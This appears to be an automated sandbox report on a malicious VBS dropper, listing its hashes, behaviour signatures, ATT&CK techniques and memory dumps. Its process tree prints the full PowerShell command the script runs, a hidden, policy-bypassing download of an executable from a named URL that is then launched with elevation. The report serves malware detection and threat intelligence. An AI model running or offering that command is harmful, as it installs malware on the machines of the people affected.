7cbcd631a4e13b12f1577b073d66c0ff99a3b1d59589e8064cda7b1a06d7cfac

Analysis

max time kernel
94s
max time network
16s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
06/10/2024, 01:17

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General

Target

7cbcd631a4e13b12f1577b073d66c0ff99a3b1d59589e8064cda7b1a06d7cfac.vbs
Size

10KB
MD5

8e0172134b7f15992d6464767e423996
SHA1

071ee6dec991cbf30c9535a9cc119742dc273206
SHA256

7cbcd631a4e13b12f1577b073d66c0ff99a3b1d59589e8064cda7b1a06d7cfac
SHA512

350a56053a31ab1d4231cba01c4f84d9fae371dcf979ad1d7c334b92b428f1105e2ef447296ce1db0c6ddb64b9ee1f0d8db4398754d5a898f2eb163a6b451ba1
SSDEEP

96:c8LFHzb+U5X4wrqqeH+5YoieyzgJABJ/fxrQsuO3zKA6pT8dmbTij+aUSH:cmFmU5KHJVerJABRu6N1dmnh8H

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://github.com/darkZeusWeb/loadersoft/raw/refs/heads/main/stubInf.exe

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	2952	powershell.exe
6	2952	powershell.exe
7	2952	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2952	powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\stubInf.exe	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2952	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2952	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 376 wrote to memory of 2952	376	WScript.exe	30
PID 376 wrote to memory of 2952	376	WScript.exe	30
PID 376 wrote to memory of 2952	376	WScript.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7cbcd631a4e13b12f1577b073d66c0ff99a3b1d59589e8064cda7b1a06d7cfac.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "(new-object System.Net.WebClient).DownloadFile('http://github.com/darkZeusWeb/loadersoft/raw/refs/heads/main/stubInf.exe', 'C:\Windows\SysWOW64\stubInf.exe'); Start-Process 'C:\Windows\SysWOW64\stubInf.exe' -Verb runas"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2952

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2952-4-0x000007FEF58DE000-0x000007FEF58DF000-memory.dmp

Filesize
4KB

Download
memory/2952-5-0x000000001B710000-0x000000001B9F2000-memory.dmp

Filesize
2.9MB

Download
memory/2952-6-0x0000000002690000-0x0000000002698000-memory.dmp

Filesize
32KB

Download
memory/2952-7-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2952-8-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2952-10-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2952-9-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2952-11-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2952-12-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download